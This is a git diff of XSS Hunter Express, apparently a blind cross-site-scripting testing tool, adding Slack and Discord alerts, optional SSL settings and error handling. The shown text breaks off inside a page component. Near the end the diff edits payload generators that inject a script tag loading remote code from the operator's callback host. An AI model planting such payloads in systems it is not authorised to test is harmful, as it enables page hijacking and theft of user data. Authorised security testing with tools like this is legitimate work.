diff --git a/README.md b/README.md index ba156c6..2677611 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,6 @@ +

This is an archived project

+

Please refer to the new location of the project at https://github.com/adamjsturge/xsshunter-go

+ # XSS Hunter Express ## *Sets up in 5 minutes and requires no maintenance* @@ -17,6 +20,8 @@ To set up XSS Hunter Express, modify the [`docker-compose.yaml`](https://github. The following are some YAML fields (in [`docker-compose.yaml`](https://github.com/mandatoryprogrammer/xsshunter-express/blob/main/docker-compose.yml)) you'll need to modify before starting the service: * `HOSTNAME`: Set this field to your hostname you want to use for your payloads and to access the web admin panel. Often this is as short as possible (e.g. `xss.ht`) so the payload can be fit into various fields for testing. This hostname should be mapped to the IP address of your instance (via a DNS `A` record). +* `GREENLOCK_SSL_ENABLED`: Set this field to true for default SSL setup threw greenlock. Set false if you know what don't want it +* `SELF_SSL`: You should know what you're doing with this if you set it for true. Sets the cookie to proxy mode making them secure but it needs to be behind a SSL Cert * `SSL_CONTACT_EMAIL`: In order to automatically set up and renew TLS/SSL certificates via [Let's Encrypt](https://letsencrypt.org/) you'll need to provide an email address. The following are needed if you want email notifications: @@ -30,6 +35,19 @@ The following are needed if you want email notifications: * `SMTP_FROM_EMAIL`: The email address of your email account on the SMTP server (e.g. `exampleuser@gmail.com`). * `SMTP_RECEIVER_EMAIL`: What email the notifications will be sent to. This may be the same as the above but could be different. +The following are needed if you want slack notifications: + +* `SLACK_NOTIFICATIONS_ENABLED`: Leave enabled to receive slack notifications (you must set this up via the below configurations as well). +* `SLACK_WEBHOOK`: The slack webhook that you get once you setup integration. +* `SLACK_CHANNEL`: The slack channel that the webhook will post to. +* `SLACK_USERNAME`: The username given to the slack message (e.g. `XSS Hunter Alerts`). +* `SLACK_EMOJI`: The Emoji used as the porfile picture on slack (e.g. `warning`). + +The following are needed if you want discord notifications: + +* `DISCORD_NOTIFICATIONS_ENABLED`: Leave enabled to receive discord notifications (you must set this up via the below configurations as well). +* `DISCORD_WEBHOOK`: The discord webhook that you get once you setup integration. + Finally, the following is worth considering for the security conscious: * `CONTROL_PANEL_ENABLED`: If you want to minimize the attack surface of your instance you can disable the web control panel. This makes it so you'll only receive emails of payload fires (results will still be stored on disk and in the database). @@ -91,4 +109,4 @@ Assuming all has gone well, you'll see an admin password printed onto your scree ## Security Vulnerabilities -Find a security vulnerability in this service? Nice job! Please email me at `mandatory(at)gmail.com` and I'll try to fix it as soon as possible. \ No newline at end of file +Find a security vulnerability in this service? Nice job! Please email me at `mandatory(at)gmail.com` and I'll try to fix it as soon as possible. diff --git a/api.js b/api.js index c2544ee..224eb59 100644 --- a/api.js +++ b/api.js @@ -28,9 +28,10 @@ var sessions_settings_object = { cookieName: 'session', duration: 7 * 24 * 60 * 60 * 1000, // Default session time is a week activeDuration: 1000 * 60 * 5, // Extend for five minutes if actively used + proxy: process.env.SELF_SSL === "true", cookie: { httpOnly: true, - secure: true + secure: (process.env.GREENLOCK_SSL_ENABLED === "true" || process.env.GREENLOCK_SSL_ENABLED === "true"), } } function session_wrapper_function(req, res, next) { diff --git a/app.js b/app.js index 358a5e0..5f2a1e9 100644 --- a/app.js +++ b/app.js @@ -234,9 +234,29 @@ async function get_app_server() { const new_payload_fire_result = await PayloadFireResults.create(payload_fire_data); // Send out notification via configured notification channel + if (process.env.SLACK_NOTIFICATIONS_ENABLED === "true") { + payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`; + try { + await notification.send_slack_notification(payload_fire_data); + } catch (error) { + console.error(error); + } + } + if (process.env.DISCORD_NOTIFICATIONS_ENABLED === "true") { + payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`; + try { + await notification.send_discord_notification(payload_fire_data); + } catch (error) { + console.error(error); + } + } if(process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED === "true") { payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`; - await notification.send_email_notification(payload_fire_data); + try { + await notification.send_email_notification(payload_fire_data); + } catch (error) { + console.error(error); + } } }); diff --git a/docker-compose.yml b/docker-compose.yml index 2b24a2d..57d6e21 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -11,6 +11,8 @@ services: - HOSTNAME=your.host.name # [REQUIRED] Email for SSL - SSL_CONTACT_EMAIL=YourEmail@gmail.com + - GREENLOCK_SSL_ENABLED=true + - SELF_SSL=false # Maximum XSS callback payload size # This includes the webpage screenshot, DOM HTML, # page text, and other metadata. Note that if the @@ -31,6 +33,17 @@ services: - SMTP_PASSWORD=YourEmailPassword - SMTP_FROM_EMAIL=YourEmail@gmail.com - SMTP_RECEIVER_EMAIL=YourEmail@gmail.com + # Whether or not to enable slack notifications via + # Webhook for XSS payload fires. + - SLACK_NOTIFICATIONS_ENABLED=true + - SLACK_WEBHOOK=https://hooks.slack.com/services/ + - SLACK_CHANNEL=xssalerting + - SLACK_USERNAME=XSS-Hunter + - SLACK_EMOJI=hackerman + # Whether or not to enable Discord notifications via + # Webhook for XSS payload fires. + - DISCORD_NOTIFICATIONS_ENABLED=true + - DISCORD_WEBHOOK=discord.com/api/webhooks/ # THERE IS NO NEED TO MODIFY BELOW THIS LINE # ------------------------------------------ # FEEL FREE, BUT KNOW WHAT YOU'RE DOING. diff --git a/docker-entrypoint.sh b/docker-entrypoint.sh index efd5c5a..7c54fe6 100755 --- a/docker-entrypoint.sh +++ b/docker-entrypoint.sh @@ -1,9 +1,13 @@ #!/usr/bin/env bash -echo "Initializing SSL/TLS..." -# Set up Greenlock -# Test if --maintainer-email is required, we can set it via environment variables... -npx greenlock init --config-dir /app/greenlock.d --maintainer-email $SSL_CONTACT_EMAIL -npx greenlock add --subject $HOSTNAME --altnames "$HOSTNAME" +if [[ $GREENLOCK_SSL_ENABLED = 'true' ]]; then + echo "Initializing SSL/TLS..." + # Set up Greenlock + # Test if --maintainer-email is required, we can set it via environment variables... + npx greenlock init --config-dir /app/greenlock.d --maintainer-email $SSL_CONTACT_EMAIL + npx greenlock add --subject $HOSTNAME --altnames "$HOSTNAME" +else + echo "Skipping SSL initialization" +fi echo "Starting server..." node server.js \ No newline at end of file diff --git a/front-end/src/pages/XSSPayloads.vue b/front-end/src/pages/XSSPayloads.vue index 96ac496..1639fa4 100644 --- a/front-end/src/pages/XSSPayloads.vue +++ b/front-end/src/pages/XSSPayloads.vue @@ -6,6 +6,7 @@

XSS Payloads

+ {{this.http_warning}}

@@ -82,13 +83,13 @@ export default { watch: {}, methods: { js_attrib: function() { - return 'var a=document.createElement("script");a.src="https://' + this.base_domain + '";document.body.appendChild(a);'; + return 'var a=document.createElement("script");a.src="' + location.protocol + '//' + this.base_domain + '";document.body.appendChild(a);'; }, basic_script: function() { - return "\">